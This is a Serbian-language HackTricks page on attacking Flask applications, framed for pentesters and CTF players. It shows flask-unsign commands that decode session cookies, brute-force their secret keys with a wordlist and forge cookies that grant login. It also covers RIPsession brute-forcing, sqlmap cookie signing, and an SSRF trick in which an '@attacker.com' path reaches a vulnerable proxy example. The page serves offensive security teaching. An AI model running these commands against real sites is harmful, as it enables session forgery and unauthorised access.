# Flask

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>

Use [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

**Verovatno, ako igrate CTF, aplikacija zasnovana na Flask-u će biti povezana sa** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)**.**

## Cookies

Podrazumevano ime sesije kolačića je **`session`**.

### Decoder

Online Flask dekoder kolačića: [https://www.kirsle.net/wizards/flask-session.cgi](https://www.kirsle.net/wizards/flask-session.cgi)

#### Manual

Uzmi prvi deo kolačića do prve tačke i dekodiraj ga u Base64.
```bash
echo "ImhlbGxvIg" | base64 -d
```
Kolačić je takođe potpisan korišćenjem lozinke

### **Flask-Unsign**

Alat za komandnu liniju za preuzimanje, dekodiranje, brute-force i kreiranje sesijskih kolačića Flask aplikacije pogađanjem tajnih ključeva.

{% embed url="https://pypi.org/project/flask-unsign/" %}
```bash
pip3 install flask-unsign
```
#### **Dekodiraj Kolačić**
```bash
flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8'
```
#### **Brute Force**
```bash
flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '<cookie>' --no-literal-eval
```
#### **Potpisivanje**
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME'
```
#### Potpisivanje korišćenjem legacijske (stare verzije)
```bash
flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
```
### **RIPsession**

Alat za komandnu liniju za brute-force napade na veb sajtove koristeći kolačiće kreirane sa flask-unsign.

{% embed url="https://github.com/Tagvi/ripsession" %}
```bash
ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt
```
### SQLi u Flask sesionom kolačiću sa SQLmap

[**Ovaj primer**](../../pentesting-web/sql-injection/sqlmap/#eval) koristi sqlmap `eval` opciju da **automatski potpiše sqlmap payload-e** za flask koristeći poznatu tajnu.

## Flask Proxy za SSRF

[**U ovom izveštaju**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) objašnjeno je kako Flask omogućava zahtev koji počinje sa karakterom "@":
```http
GET @/ HTTP/1.1
Host: target.com
Connection: close
```
Koji od sledećih scenarija:
```python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com/'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')
def proxy(path):
return get(f'{SITE_NAME}{path}').content

app.run(host='0.0.0.0', port=8080)
```
Može omogućiti uvođenje nečega poput "@attacker.com" kako bi izazvao **SSRF**.

<figure><img src="../../.gitbook/assets/image (515).png" alt=""><figcaption></figcaption></figure>

Koristite [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=flask) za lako kreiranje i **automatizaciju radnih tokova** pokretanih najnaprednijim alatima zajednice na svetu.\
Pribavite pristup danas:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=flask" %}

{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Podržite HackTricks</summary>

* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.

</details>
{% endhint %}